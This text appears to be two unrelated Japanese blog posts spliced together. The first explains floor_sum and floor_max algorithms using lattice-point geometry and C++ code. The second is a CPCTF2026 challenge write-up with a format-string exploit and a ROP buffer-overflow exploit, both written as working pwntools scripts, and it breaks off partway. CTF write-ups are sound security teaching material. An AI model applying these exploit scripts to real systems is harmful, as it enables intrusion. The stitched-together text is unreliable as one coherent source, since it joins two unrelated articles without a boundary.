/// @param N 
/// @param M 
/// @param A 
/// @param B 
/// @return 
ll floor_sum(ll N, ll B, ll C, ll D){
    if (N < 0){
        return 0;
    }
    if (B < 0){//Bを正にする。
        B *= -1;
        C *= -1;
        D *= -1;
    }
    if (C > 0){//Cを負にするが、Cを-Cに置き換えてC>0として扱う。
        D += N*C;
    }
    else{
        C *= -1;
    }
    if (C == 0){
        return (N+1)*floor2(D,B);
    }
    ll k = floor2(D-C*N,B);
    return (N+1)*k + internal_floor_sum(B,C,D-B*(k+1));
}

//floor_max関数に7つの整数N,A,B,C,D,E,Fをこの順で渡してください。
//正常に動作することが保証される範囲は、0<=N, -10^9<=A,B,C,D,E,F<=10^9, B!=0です。


ll internal_floor_max(ll A, ll B, ll C, ll D, ll E, ll F){
    if (D < 0){return -1000000000000000000;}
    if (C <= 0){return -1000000000000000000;}
    if (E > 0){
        if (B > C){swap(A,E);swap(B,C);}
        ll M = floor2(D-C*floor2(D, C), B);
        ll tempans = max(A*M+E*floor2(D, C), A*floor2(D, B)) + F;
        return max(tempans, A*(1+M)+internal_floor_max(A, B, C%B, D-B*(1+M+floor2(C, B)*floor2(D, C)), E-A*floor2(C, B), F+A*floor2(C, B)*floor2(D, C)));
    }
    else return A*floor2(D, B) + F;
}

/// @brief `0<=x<=N`の下で、`A*floor2(C*x+D, B)+E*x+F`の最大値を求める。もし何かがおかしいなら`-10^18`が返される。
/// @param N 
/// @param A 
/// @param B 
/// @param C 
/// @param D 
/// @param E 
/// @param F 
/// @return `max`
ll floor_max(ll N, ll A, ll B, ll C, ll D, ll E, ll F){
    if (N < 0){
        return -1000000000000000000;
    }
    assert(B != 0);
    //マイナスを処理
    if (B < 0){
        B *= -1;
        C *= -1;
        D *= -1;
    }
    if (A < 0){
        A *= -1;
        C *= -1;
        D *= -1;
        D += B-1;
    }
    //自明なケース
    if (C == 0 or A == 0){
        return A*floor2(D, B) + F + max(0LL, E*N);
    }
    if (E == 0){
        return A*floor2(max(0LL, C*N)+D, B) + F;
    }
    //Cの係数を調整
    if (C > 0){
        F += E*N;
        E *= -1;
        D += C*N;
    }
    else{
        //`A*floor2(D-C*x, B)+E*x+F`, `A,B,C>0`にする
        C *= -1;
    }
    //自明なケースを処理
    if (E < 0){
        return A*floor2(D, B) + F;
    }
    ll x_offset = floor2(D-C*N, B)+1;
    D -= B*x_offset;
    return A*x_offset + max(internal_floor_max(A,B,C,D,E,F), -A+E*N+F);
}

1について

$\sum _{i=0}^N\lfloor \frac{Ci+D}{B}\rfloor$ という形はfloor sumと呼ばれていて、知っている人も多いと思います。しかし、これを $O(\log B)$ で計算するとなると、その過程で数式を色々いじる必要があり、何が起きているかが分かりにくいです。そのため、$xy$平面上のある領域内の格子点を数える問題に帰着させ、それを図を用いて説明することにします。最後に動画があるので、それだけを見ても何となく理解できると思います。

まず、シグマの形は扱いづらいので、これを変形します。多少は数式をいじりますが、直感的な説明も載せておきます。

まず、$B$ が負のときは分母と分子に $-1$ を掛けます。
次に、$C$ が正のときは $i=0,1,2,...,N$ ではなく、$i=N,N-1,N-2,...,1$ のように、逆から足します。( $i$ を $N-i$ に置き換えます。)すると、$C$ は $0$ 以下になります。
また、$C=0$ のときはシグマの中身が定数となり、簡単に計算できるので、$C\ne 0$ としても問題ないことが分かります。
以上より、$B>0,C<0$ を仮定できます。$C$ が負であると扱いづらいので、以下では $C$ を $-C$ に置き換え、$C>0$ とします。
この時点で、対象の式は $\sum _{i=0}^N\lfloor \frac{D-Ci}{B}\rfloor$ と変形されることに注意してください。
次に、定数 $k=\lfloor \frac{D-CN}{B}\rfloor$ を用いて以下のように変形します。
$\sum _{i=0}^N\lfloor \frac{D-Ci}{B}\rfloor =\sum _{i=0}^N(\lfloor \frac{D-Ci}{B}\rfloor -k+k)=(N+1)k+\sum _{i=0}^N(\lfloor \frac{D-Ci}{B}\rfloor -k)=(N+1)k+\sum _{i=0}^N\lfloor \frac{D-Bk-Ci}{B}\rfloor$
このとき、シグマの部分は平面上の領域 $\{(x,y)|Bx+Cy\le D-Bk,0\le y,1\le x\}$ の内部と境界上に存在する格子点の個数を表します。

領域の境界が $1\le x$ だと扱いにくいので、x軸正方向に $-1$ だけ平行移動し、$\{(x,y)|Bx+Cy\le D-B(k+1),0\le y,0\le x\}$ とします。

以上のことから、floor sumは、$3$ つの定数 $A>0,B>0,C$ を用いた領域 $\{(x,y)|Ax+By\le C,0\le x,0\le y\}$ の内部及び境界上の格子点を数える問題に帰着されることが示されました。

三角形領域内の格子点の数え上げ

三角形領域$(\{(x,y)|Ax+By\le C,0\le x,0\le y\})$ 内の格子点を $\sum _{i=0}^{N}i=\frac{1}{2}N(N+1)$ のような総和公式を用いて一瞬で求めることはできません。そのため、求められる部分から順次切り取っていくようにします。
以下では、三角形領域の境界線である直線 $Ax+By\le C$ のことを直線 $L$ とします。

具体的には以下の手順を、終了と言われるまで繰り返します。

1. もし、$C$ が負なら終了する。
2. もし、$A>B$ なら $A$ と $B$ を入れ替える。
3. もし、$B$ が $A$ の倍数なら、格子点の個数は $\sum _{i=0}^{\lfloor \frac{C}{B}\rfloor }(1+\lfloor \frac{C-Bi}{A}\rfloor )=\sum _{i=0}^{\lfloor \frac{C}{B}\rfloor }(1+\lfloor \frac{C}{A}\rfloor -\frac{B}{A}i)$ となり、これは総和公式で一瞬で求まる。操作を終了する。
4. そうでないなら、三角形領域 $(\{(x,y)|x\le -\lfloor \frac{B}{A}\rfloor (y-\lfloor \frac{C}{B}\rfloor ),0\le x,0\le y\})$ 内(境界を含む)の格子点の個数を求め(ステップ3のようにすることで簡単に求まる)、これを答えに加算する。そのあと、$(x\mapsto x-\lfloor \frac{B}{A}\rfloor (y-\lfloor \frac{C}{B}\rfloor ),y\mapsto y)$ と変換して境界線 $L$ をせん断変形する。そのあと、長方形領域 $(0\le y\le \lfloor \frac{C}{B}\rfloor ,1\le x\le \lfloor \frac{C-B\lfloor \frac{C}{B}\rfloor }{A}\rfloor )$ 内(境界を含む)の格子点の数を掛け算で求めて答えに加算する。最後に、$L$ を $x$ 軸正方向に $-(1+\lfloor \frac{C-B\lfloor \frac{C}{B}\rfloor }{A}\rfloor )$ だけ平行移動する。
   ステップ4全体としては、$A,B,C$ はそれぞれ $A,B-A\lfloor \frac{B}{A}\rfloor ,C-A(\lfloor \frac{B}{A}\rfloor \lfloor \frac{C}{B}\rfloor +\lfloor \frac{C-B\lfloor \frac{C}{B}\rfloor }{A}\rfloor +1)$ に置き換えられることになる。

これだけだとよく分からないので、図を出して説明していきます。

1について

もし、$C$ が負の場合は領域が存在しないため、そのまま終了します。

2について

もし、三角形領域が縦長の場合、$A$ と $B$ を入れ替えて横長にします。この操作は、直線 $y=x$ に関して対称移動を行うだけなので、領域内の格子点の数は変わりません。

3について

$B$ が $A$ の倍数のとき、$y$ 座標を固定して数え上げるとシグマの中身は等差数列になるので、総和公式で簡単に求めることができます。

4について

これが一番重要です。
簡単に数えられる中で最大の三角形をとります。つまり、以下の図で、「青線の傾きの逆数が整数になる範囲で、青線の傾きが赤線の傾きを超えない最大」であり、「青線の $y$切片が最大」であるものを選択します。
青線の傾きの逆数が整数でなければならない理由は、後述するシグマの中身を等差数列にするためです。

上の図は、$A=6,B=16,C=79$ です。(これ以降もこの具体例で説明します) また、青線の $y$切片は最大の $4$ に固定し、青線の傾きは $-1,-\frac{1}{2},-\frac{1}{3},-\frac{1}{4},-\frac{1}{5},-\frac{1}{6}$ の $6$ 通りを示しています。赤線の傾きは $-\frac{3}{8}$ なので、これを超えない最大の傾きは $-\frac{1}{2}$ となります。

次に、青線と $x$ 軸と $y$ 軸で囲まれた領域内(境界を含む)の格子点の個数を求めます。

図に書かれている通り、青線と $x$ 軸と $y$ 軸で囲まれた領域内(境界を含む)の格子点の個数は $25$ 個となります。この値は答えに加算しておきます。

次に、青線がy軸に重なるように平面上にあるすべての図形をせん断変形します。
すなわち、$x$ を $x-\lfloor \frac{B}{A}\rfloor (y-\lfloor \frac{C}{B}\rfloor )$ に置き換えます。変形のイメージは以下の図で示します。

実際に変形を行うと、以下のような図になります。(点線がせん断変形前の状態)

また、先ほど数えなかった点が存在する範囲は以下の画像のように変化します。青の点線上の点はすでに数えていることに注意してください。(紫色が変形前, 赤色が変形後)

重要
せん断変形前の格子点と、せん断変形後の格子点は $1$ 対 $1$ で対応するため、紫の領域内(境界を含む)と赤の領域内(境界を含む)の格子点の数は等しくなります。

次に、せん断変形後の赤い領域において数えるべき残りの点を、長方形領域内の点と三角形領域内の点に分割すると、以下の画像のようになります。

左側の方の長方形領域の内部及び境界上に存在する格子点の個数は $10$ 個です。
そして、(点線でない)赤い線を $x$ 軸正方向に $-3$ だけ移動することで、右側の三角形領域の内部(境界を含む)の格子点の個数は、「(傾きが負の有理数の)直線と、$x$ 軸と、$y$ 軸に囲まれた領域の内部(境界を含む)の格子点の個数」と等しくなるので、これは最初と同じ状態になります。したがって、ステップ1からやり直すことで、再帰的にこの問題を解くことができます。

計算量解析

ステップ $4$ にある通り、手順を1からやり直すたびに $3$ つの定数 $A,B,C$ はそれぞれ $A,B-A\lfloor \frac{B}{A}\rfloor ,C-A(\lfloor \frac{B}{A}\rfloor \lfloor \frac{C}{B}\rfloor +\lfloor \frac{C-B\lfloor \frac{C}{B}\rfloor }{A}\rfloor +1)$ に置き換えられることになります。$C$ はかなり複雑に変化しますが、$A$ と $B$ に着目すると、$A$ はそのままで、$B$ は $B-A\lfloor \frac{B}{A}\rfloor =(BをAで割ったあまり)$ に変化していることになります。そして、ステップ $2$ では $A\le B$ となるように $A$ と $B$ を交換することになり、終了条件の $1$ つも「 $B$ が $A$ の倍数」となっているので、これは正整数 $A$, $B$ に対してユークリッドの互除法を適用する過程と全く同じとなります。
したがって、時間計算量は $O(\log A)$ となりますが、このパラメーター $A$ は本来のfloor sumでは $B$ であったので、floor sum自体の時間計算量は $O(\log B)$ となります。

図形的なイメージとしては、直線の傾きを、急な状態と緩やかな状態の間で交互に変化させ、各ステップでは三角形の面積( $\approx$ 格子点の個数)を約半分以下にしていることになるので、時間計算量は対数時間になることが分かると思います。下に図を載せておきます。
最初、黒線があるとき、各ステップによって、黒→赤→青→緑→紫→橙のように直線が変化していきます。(ただし、実際には傾きが急な直線(赤, 緑, 橙)は、直線 $y=x$ に関して対称な位置に移動して扱います。)
この図は $A=21,B=34$ です。

動画による説明

これまでのステップ $1$ ～ステップ $4$ をまとめたアニメーション動画を $2$ 通り用意しました。図がよくわからなくても多分大体の雰囲気は分かると思います。この動画では、ステップ $4$ の青領域内(境界を含む)の格子点と、せん断変形後の図の左側の長方形領域内(境界を含む)の格子点をまとめてカウントしています。

実装について

基本形のfloor sumを格子点の数え上げ問題に帰着した後、ステップ $1$ ~ $4$ をそのまま再帰関数またはwhile文として実装すればいいです。実装例はこのブログの上部にあります。

2について

$\underset{0\le i\le N}{\max }(A\lfloor \frac{Ci+D}{B}\rfloor +Ei+F)$ という形は、あまり有名ではないかもしれませんが、これもfloor sumと同じように $O(\log B)$ で求めることができます。数式をいじる方法は難しいというか、わからなかったため、これも先ほどと同じように平面上の格子点に関する問題に帰着させて解きます。

floor sumと比べて多少数式が増えるかもしれません。

まず、$A>0,B>0,C<0,E>0$ としても問題ないことを示します。
$A=0$ または $C=0$ または $E=0$ のときは、単調増加または単調減少となるため、両端を試し、大きい方を答えにすればいいです。
$B<0$ のときは、分母と分子に $-1$ を掛ければ $B>0$ となります。
$A<0$ のときは、$A\lfloor \frac{Ci+D}{B}\rfloor =-A\lceil \frac{-Ci-D}{B}\rceil =-A\lfloor \frac{-Ci-D+B-1}{B}\rfloor$ となるため、$C\mapsto -C,D\mapsto -D+B-1$ とすることで、$A>0$ としても問題ないことが分かります。
$C>0$ のときは、$i$ を $N-i$ に置き換えることで、$C<0$ にできます。
$E<0$ のときは、上記の過程より、$A\lfloor \frac{Ci+D}{B}\rfloor$ は単調減少なので、全体としても単調減少になります。よって、$i=0$ の時の値が答えになります。よって、$E>0$ としても問題ないです。

以上より、$A>0,B>0,C<0,E>0$ としても問題ないことが示せました。
そして、floor sumの時と同様に $C$ を $-C$ に置き換え、 $C>0$ とします。

この時点で、対象の式は $\underset{0\le i\le N}{\max }(A\lfloor \frac{D-Ci}{B}\rfloor +Ei+F)\{A,B,C,E>0\}$ となっていることに注意してください。

ここで、次の言い換えを行います。
$\lfloor \frac{D-Ci}{B}\rfloor$ は、「平面上の格子点 $(x,y)$ が $y=i,Bx+Cy\le D$ を満たすときの $x$ の取りうる値の最大値」となります。
実際に具体的に点 $(\lfloor \frac{D-Ci}{B}\rfloor ,i)$ を図示してみると以下のようになります。以下の図は $B=6,C=16,D=79,N=7$ であり、赤線が直線 $Bx+Cy=D$ です。

最大化する対象の式は $A\lfloor \frac{D-Ci}{B}\rfloor +Ei+F$ であるので、さらに言い換えると、この問題は、「点 $(x,y)$ が上記の画像の青い点上のみに存在するとき、$Ax+Ey+F$ の最大値を求める問題」に帰着させることができます。
以下では、$Ax+Ey+F=T$ と置き、$T$ の最大値を求めていきます。

このままでは点の $x$ 座標が負になることがあり、扱いづらいため、最も $y$ 座標の大きい点の $x$ 座標がちょうど $-1$ になるように $x$ 軸方向に平行移動します。上の図では $x$ 軸正方向に $5$ だけ平行移動することになります。これにより、赤線の方程式は $6x+16y=109$ となります。ただし、平行移動を行ったことで、答えとなる $T$ の最大値が $A\times 5$ だけ増加してしまうため、代わりに $F$ に $-A\times 5$ を加算しておきます。

実際に平行移動を行うと、以下の画像のようになります。

線形計画法の解法として、「端の点を試す」という手法がありますが、今回もそれは有効です。まず、$x$ 座標が負の点を考える必要をなくすために、$x$ 座標が $-1$ である場合を試します。
$x$ 座標が $-1$ であるような青い点は複数存在する可能性がありますが、$A,E>0$ より、そのような点のうち、$y$ 座標が最も大きい点のみを試せば十分であることが分かります。したがって、試すべき点は上の図では $(-1,7)$ となります。

以上より、この問題は$0\le x$ の範囲で考えられるようになりました。

帰着後の問題を高速に解く

上記の様々な議論により、考えるべき格子点はfloor sumの時と同様に三角形領域$(\{(x,y)|0\le x,0\le y,Bx+Cy\le D\})$の内部及びその境界上に限定することができました。
そしてこの問題も、floor sumの時と同様に、境界線を繰り返しせん断変形することで高速に解くことができます。

もう一度今から解く必要のある問題を書いておきます。

制約...$A,B,C,E>0$
点 $(x,y)$ が $(\lfloor \frac{D-Ci}{B}\rfloor ,i)\{0\le \lfloor \frac{D-Ci}{B}\rfloor ,i=0,1,2,...\}$ にのみ存在しうるとき、$Ax+Ey+F$ の最大値を求めよ。

これを解くためにこのような再帰関数「 $\text{solve}(A,B,C,D,E,F)$ 」を定義します。
指示がない限り、$1,2,3,...$ のように番号順に実行されます。

$\text{solve}(A,B,C,D,E,F)$ を以下のように定義する。

1. もし、$D<0$ ならば、$-\infty$ を返し、関数を終了する。
2. もし、$C\le 0$ ならば、$-\infty$ を返し、関数を終了する。
3. もし、$E>0$ ならば、4.へ、そうでなければ6.へ
4. もし、$B>C$ ならば、$B$ と $C$ を入れ替え、$A$ と $E$ も入れ替える。
5. 左端での値 $A\lfloor \frac{D-C\lfloor \frac{D}{C}\rfloor }{B}\rfloor +E\lfloor \frac{D}{C}\rfloor +F$ と右端での値 $A\lfloor \frac{D}{B}\rfloor +F$ と $\text{solve}(A,B,C-B\lfloor \frac{C}{B}\rfloor ,D-B(\lfloor \frac{C}{B}\rfloor \lfloor \frac{D}{C}\rfloor +\lfloor \frac{D-C\lfloor \frac{D}{C}\rfloor }{B}\rfloor +1),E-A\lfloor \frac{C}{B}\rfloor ,F+A(\lfloor \frac{C}{B}\rfloor \lfloor \frac{D}{C}\rfloor +\lfloor \frac{D-C\lfloor \frac{D}{C}\rfloor }{B}\rfloor +1))$ の中で最も大きい値を返し、関数を終了する。
6. 右端での値 $A\lfloor \frac{D}{B}\rfloor +F$ を返し、関数を終了する。

これだけだとよく分からない(特に5.)ので、図を用いて説明していきます。

1について

$D<0$ のとき、そもそも考慮すべき点が存在しないため、最大値は存在しません。そのため $-\infty$ を返します。

2について

$C\le 0$ であるということは、直前の関数内では $C$ が $B$ の倍数であったことになります。このときは、存在しうる点 $(x,y)$ はすべてが一直線上に並ぶため、左端または右端での値が最大となります。したがって、$C\le 0$ の時は、この最大値に影響しないように $-\infty$ を返すようにします。

3,6について

まず、常に $A>0$ が保証されます。

$E\le 0$ のとき、$Ax+Ey+F$ を最大化するためには $x$ をできるだけ大きく、$y$ をできるだけ小さくしたいため、領域内の右端かつ下端である点 $(\lfloor \frac{D}{B}\rfloor ,0)$ を試すのが最適です。そのため、6に行きます。

4について

もし領域が縦長 $(B>C)$ であるなら、$B,C$ を入れ替え、$A,E$ も忘れずに入れ替えて、領域を横長にします。

5について

先ほどの図をもう一度載せます。$(B=3,C=16,D=109)$
両端の点は紫色のバツ印にしてあります。

右端の点は直感的な右端で問題ありませんが、左端は必ずしも $y$ 軸上であるとは限りません。より厳密には、右端の点は $y$ 座標が最小の $0$ の $(\lfloor \frac{D}{B}\rfloor ,0)$ であり、左端の点は $y$ 座標が最大の $\lfloor \frac{D}{C}\rfloor$ の $(\lfloor \frac{D-C\lfloor \frac{D}{C}\rfloor }{B}\rfloor ,\lfloor \frac{D}{C}\rfloor )$ になります。

まずはこの両端の点についてを試します。左端での値は $A\lfloor \frac{D-C\lfloor \frac{D}{C}\rfloor }{B}\rfloor +E\lfloor \frac{D}{C}\rfloor +F$ で、右端での値は $A\lfloor \frac{D}{B}\rfloor +F$ であるので、この $2$ つの値が最大値候補になります。
そのあと、floor sumと同じように $(x\mapsto x-\lfloor \frac{C}{B}\rfloor (y-\lfloor \frac{D}{C}\rfloor ),y\mapsto y)$ とせん断変形をし、$x$ 軸正方向に $-(\lfloor \frac{D-C\lfloor \frac{D}{C}\rfloor }{B}\rfloor +1)$ だけ平行移動します。平行移動後は、上図での左端の点は $(-1,\lfloor \frac{D}{C}\rfloor )$ に移ります。以下にその図を載せておきます。(移動前の点と線は薄く表示しています。)

このせん断変形と平行移動により、直線 $Bx+Cy=D$ の方程式は $Bx+(C-B\lfloor \frac{C}{B}\rfloor )y=D-B(\lfloor \frac{C}{B}\rfloor \lfloor \frac{D}{C}\rfloor +\lfloor \frac{D-C\lfloor \frac{D}{C}\rfloor }{B}\rfloor +1)$ になり、最大化対象の式である $Ax+Ey+F$ も$A(x-\lfloor \frac{C}{B}\rfloor (y-\lfloor \frac{D}{C}\rfloor )+\lfloor \frac{D-C\lfloor \frac{D}{C}\rfloor }{B}\rfloor +1)+Ey+F=Ax+(E-A\lfloor \frac{C}{B}\rfloor )y+F+A(\lfloor \frac{C}{B}\rfloor \lfloor \frac{D}{C}\rfloor +\lfloor \frac{D-C\lfloor \frac{D}{C}\rfloor }{B}\rfloor +1)$ になります。 これが複雑なせいで次に呼ばれる $\text{solve}$ 関数の中身も複雑になっています。

移動後の図に着目すると、$x$ 座標が $-1$ の点が複数ありますが、試す必要があるものは結局 $y$ 座標が最大のものになります。しかし、その点は左端の点であったものであり、すでに候補にあがっているので試す必要はないです。以上より、$x$ 座標が負の点は考える必要がなくなりました。
したがって、最初と同じ状況が生じるため、今の状況に対して $\text{solve}$ 関数を呼び、その返り値と端の値を比べてより大きい方を返すことで再帰的にこの問題を解くことができます。
なお、次に呼ぶべき関数の各引数 $A,B,C,D,E,F$ はそれぞれ $A,B,C-B\lfloor \frac{C}{B}\rfloor ,D-B(\lfloor \frac{C}{B}\rfloor \lfloor \frac{D}{C}\rfloor +\lfloor \frac{D-C\lfloor \frac{D}{C}\rfloor }{B}\rfloor +1),E-A\lfloor \frac{C}{B}\rfloor ,F+A(\lfloor \frac{C}{B}\rfloor \lfloor \frac{D}{C}\rfloor +\lfloor \frac{D-C\lfloor \frac{D}{C}\rfloor }{B}\rfloor +1)$ になります。

計算量解析

$\text{solve}$ 関数の第 $2$ 引数と第 $3$ 引数に着目すると、floor sumのときと同様にして時間計算量が $O(\log B)$ であることが分かります。

実装について

前処理で $A,B,C,E>0$ としたあと、ステップ $1$ ～ $6$ をそのまま再帰関数として実装すればいいです。実装例はこのブログの上部にあります。

最後に

紹介したアルゴリズムで殴れる問題をいくつか紹介しておきます。
ただし、floor sumは有名すぎるので、主に $2$ つ目になります。

https://judge.yosupo.jp/problem/min_of_mod_of_linear
$\underset{0\le i<N}{\min }(Ai+B)\mathrm{mod}M=\underset{0\le i\le N-1}{\max }-((Ai+B)\mathrm{mod}M)=\underset{0\le i\le N-1}{\max }-(Ai+B-M\lfloor \frac{Ai+B}{M}\rfloor )=\underset{0\le i\le N-1}{\max }(M\lfloor \frac{Ai+B}{M}\rfloor -Ai-B)$ であるので、上部で紹介したコードの中の floor_max 関数をコピペするだけで解けます。

https://atcoder.jp/contests/arc139/tasks/arc139_b
$A$ 加算と $B$ 加算をそれぞれ $x$ 回, $y$ 回使うとすると、格子点限定の線形計画法の問題になり、これは $2$ つ目の説明中に出てきたものとほぼ同じようにして解けます。
ちなみに、この問題を解いたことでこのブログを書くことを決めました。
なお、C++で実装したところ、実質fastestを取ることができました。

明日の新歓ブログリレー2026の担当は @Water_Castle, @2251799813685248 です。

このたびはCPCTF2026にご参加いただきありがとうございました。
この記事では、@kavosが作問した問題の解法について書きます。

問題

今回、以下の4問を作問しました。

• [Rev] Lv.3 Out of World
• [Pwn] Lv.3 campaign
• [Pwn] Lv.4 coding agent
• [Pwn] Lv.5 diary

[Rev] Lv.3 Out of World

問題概要

バイナリが渡されます。とりあえず起動してみると、"See you!"とだけ言われて何も起きません。

解答例

Ghidraでデコンパイルしてみるとこのようになります。

bool FUN_001012ec(void) {
  int iVar1;
  char *pcVar2;
  
  pcVar2 = getenv("CTF_SECRET_KEY");
  iVar1 = FUN_001011a9(pcVar2);
  if (iVar1 != 0) {
    puts("OK, the check passed! Here is the flag:");
    FUN_00101237(pcVar2);
  } else {
    puts("See you!");
  }
  return iVar1 == 0;
}

undefined8 FUN_001011a9(char *param_1) {
  undefined8 uVar1;
  size_t sVar2;
  ulong local_18;
  
  if (param_1 == (char *)0x0) {
    uVar1 = 0;
  } else {
    sVar2 = strlen(param_1);
    if (sVar2 == 0x18) {
      for (local_18 = 0; local_18 < 0x18; local_18 = local_18 + 1) {
        if ((byte)(param_1[local_18] ^ 0x23U) != (&DAT_00104050)[local_18]) {
          return 0;
        }
      }
      uVar1 = 1;
    } else {
      uVar1 = 0;
    }
  }
  return uVar1;
}

void FUN_00101237(long param_1) {
  long in_FS_OFFSET;
  ulong local_60;
  byte local_48 [41];
  undefined1 local_1f;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  for (local_60 = 0; local_60 < 0x29; local_60 = local_60 + 1) {
    local_48[local_60] =
         *(byte *)(param_1 + local_60 % 0x18) ^
         s_R]OB\wu.xOl0bEp1hs_"tx1n!ca%t;Il_00104020[local_60] ^ 0x45;
  }
  local_1f = 0;
  puts((char *)local_48);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
    __stack_chk_fail();
  }
  return;
}

FUN_001012ecがmain関数ですが、ここでgetenv関数を使って環境変数を取得しています。その後FUN_00101237の結果に応じてflagを出力するかどうか分岐しているため、おそらくcheck_flagのような関数であると予想できます。また、FUN_00101237もflagを出力する関数であると予想できます。

FUN_00101237関数を見てみると、DAT_00104050にあるデータと（入力 ^ 0x23）を比較しています。そのため、以下のようなスクリプトによって格納すべき値がわかりそうです。

dec = "wkjp|jp|pvsfq|pf`qfw|hfz"
for c in dec:
    print(chr(ord(c) ^ 0x23), end="")

これを実行すると、

THIS_IS_SUPER_SECRET_KEY

となります。よって、以下のように環境変数を設定したうえで実行するとflagが得られます。

$ export CTF_SECRET_KEY="THIS_IS_SUPER_SECRET_KEY"
$ ./chal-f7199d01c49d56bebaae2d98ff2b597c 
OK, the check passed! Here is the flag:
CPCTF{c4n_y0u_f1nd_3nv1r0nm3n7_v4r1abl35}

[Pwn] Lv.3 campaign

問題概要

以下のC言語プログラムが渡されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void init() {
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);
}

char type[] = "ai";

int main() {
  init();

  char name[0x60];
  int phone;
  
  printf("Hi! You are so lucky, you can get a free VIP membership for a year! Please tell me your name and phone number.\n");
  printf("Name: ");
  fgets(name, 0x60, stdin);
  printf("Phone: ");
  scanf("%d", &phone);

  printf("Please confirm your information:\n");
  printf("Name: ");
  printf(name);
  printf("Phone: ");
  printf("%d\n", phone);

  if (strcmp(type, "human") == 0) {
    printf("Congratulations! You can get the VIP membership!\n");
    system("cat flag.txt");
  } else {
    printf("Sorry, we can only give the VIP membership to humans.\n");
  }
}

どうやら何かのキャンペーンに当選したみたいです。しかし、デフォルトでAIと判定されているようなので、なんとかhumanであることを示さなければなりません。

解答例

この部分に脆弱性があります。

printf(name);

Format String Bugと呼ばれる脆弱性で、printfの第一引数に任意の文字列を入力できると、書式文字列を含む文字列を入力することで意図しない動作を引き起こすことができます。

たとえば、%p（変数をポインタとして表示する）指定子を使用すると、

Hi! You are so lucky, you can get a free VIP membership for a year! Please tell me your name and phone number.
Name: %p.%p.%p.%p.%p.%p
Phone: 100
Please confirm your information:
Name: 0x7ffc662eb330.(nil).(nil).0x6.(nil).0x2000000

このように表示されます。

書式指定子にはさまざまありますが、このうち%nは「これまで出力した文字数をメモリに出力する」という効果があります。これを利用すると任意の位置のメモリを任意の値に書き換えることができます。そのため、これを用いて"ai"を"human"に置き換えればフラグを獲得できます。

readelfコマンド等でシンボルを見ると変数typeは0x404050にあることがわかるので、

• 0x404050を0x68に
• 0x404051を0x75に
• 0x404052を0x6dに
• 0x404053を0x61に
• 0x404054を0x6eに

するとよいです。スクリプトを書くと、たとえばこのようになります。

from pwn import *
import sys

elf = ELF('./campaign')
conn = remote('133.88.122.244', 99999)

target = elf.symbols['type']

hu = 0x7568
ma = 0x616d
n = 0x6e

count = 0
fstr = f'%{hu}c%13$hn'
count += hu
fstr += f'%{(ma - count) % 0x10000}c%14$hn'
count += (ma - count) % 0x10000
fstr += f'%{(n - count) % 0x100}c%15$hhn'

payload = fstr.encode()
payload = payload.ljust(0x28, b'a')

payload += p64(target)     # hu
payload += p64(target + 2) # ma
payload += p64(target + 4) # n

conn.sendlineafter(b'Name: ', payload)
conn.sendlineafter(b'Phone: ', b'100')

conn.interactive()

CPCTF{b3_c4r3fu1_0f_ph15h1ng_m3s54g3s}

感想とか

FSBの入門的な問題として作りました。%nは非常に面白い性質を持っていますが、GOT Overwriteまで含めてしまうと難易度が上がりすぎてしまうので、グローバル変数の書き換えという形で出題してみました。

[Pwn] Lv.4 coding agent

問題概要

ソースコードが配布されず、バイナリのみが渡されます。
どうやらコーディングエージェントみたいですが、起動してみると

Hello! I'm a super-intelligent coding agent powered by an LLM.
How can I help you today?
> write hello world
Sorry, your weekly limit has been reached. Please try again next week.

このように、すぐにレートリミットに到達して何もやってくれません。

解答例

checksecをするとcanaryが存在せず、長い文字列を入力するとクラッシュするのでバッファオーバーフローがありそうだとわかります。

さて、アセンブリを読んでいくとwin関数があることがわかります。その最初の方を読むとこのようなコードに遭遇します。

00000000004013f8 <win>:
  4013f8: f3 0f 1e fa           endbr64
  4013fc: 55                    push   rbp
  4013fd: 48 89 e5              mov    rbp,rsp
  401400: 48 81 ec 40 01 00 00  sub    rsp,0x140
  401407: 4c 89 b5 d8 fe ff ff  mov    QWORD PTR [rbp-0x128],r14
  40140e: 48 89 9d d0 fe ff ff  mov    QWORD PTR [rbp-0x130],rbx
  401415: 4c 89 a5 c8 fe ff ff  mov    QWORD PTR [rbp-0x138],r12
  40141c: 48 b8 76 68 00 00 00  movabs rax,0x7a0000006876
  401423: 7a 00 00
  401426: 48 39 85 d8 fe ff ff  cmp    QWORD PTR [rbp-0x128],rax
  40142d: 75 26                 jne    401455 <win+0x5d>
  40142f: 48 b8 00 40 08 00 d0  movabs rax,0x3b001d000084000
  401436: 01 b0 03
  401439: 48 39 85 d0 fe ff ff  cmp    QWORD PTR [rbp-0x130],rax
  401440: 75 13                 jne    401455 <win+0x5d>
  401442: 48 b8 40 2c 00 00 07  movabs rax,0x700002c40
  401449: 00 00 00
  40144c: 48 39 85 c8 fe ff ff  cmp    QWORD PTR [rbp-0x138],rax
  401453: 74 14                 je     401469 <win+0x71>
  401455: 48 8d 05 a8 0b 00 00  lea    rax,[rip+0xba8]        # 402004 <_IO_stdin_used+0x4>
  40145c: 48 89 c7              mov    rdi,rax
  40145f: e8 4c fc ff ff        call   4010b0 <puts@plt>

これより、

• r14に0x7a0000006876
• rbxに0x3b001d000084000
• r12に0x700002c40

を入れた状態でwinを呼び出せばチェックを通過することがわかります。その後も処理は続きますが、これは入力された3つの値から"flag.txt"を復元して読みだす処理を行っています。

さて、アセンブリを見るとすぐ上にこのようなコードがあります。

  4013ed:	5b                   	pop    rbx
  4013ee:	5d                   	pop    rbp
  4013ef:	41 5c                	pop    r12
  4013f1:	41 5d                	pop    r13
  4013f3:	41 5e                	pop    r14
  4013f5:	41 5f                	pop    r15
  4013f7:	c3                   	ret

このgadgetを使うことで、要求されたレジスタに値を入れることができそうです。

from pwn import *
import sys

conn = remote('133.88.122.244', 99999)
elf = ELF('./coding-agent')

payload = b'A' * 0x28
payload += p64(0x4013ed)
payload += p64(0x3b001d000084000) # rbx
payload += p64(0x0)               # rbp
payload += p64(0x700002c40)       # r12
payload += p64(0x0)               # r13
payload += p64(0x7a0000006876)    # r14
payload += p64(0x0)               # r15
payload += p64(elf.symbols['win'])

conn.sendlineafter(b'> ', payload)
conn.interactive()

CPCTF{u53_sc4nf_w17h_s1z3_0f_buFf3r5}

感想など

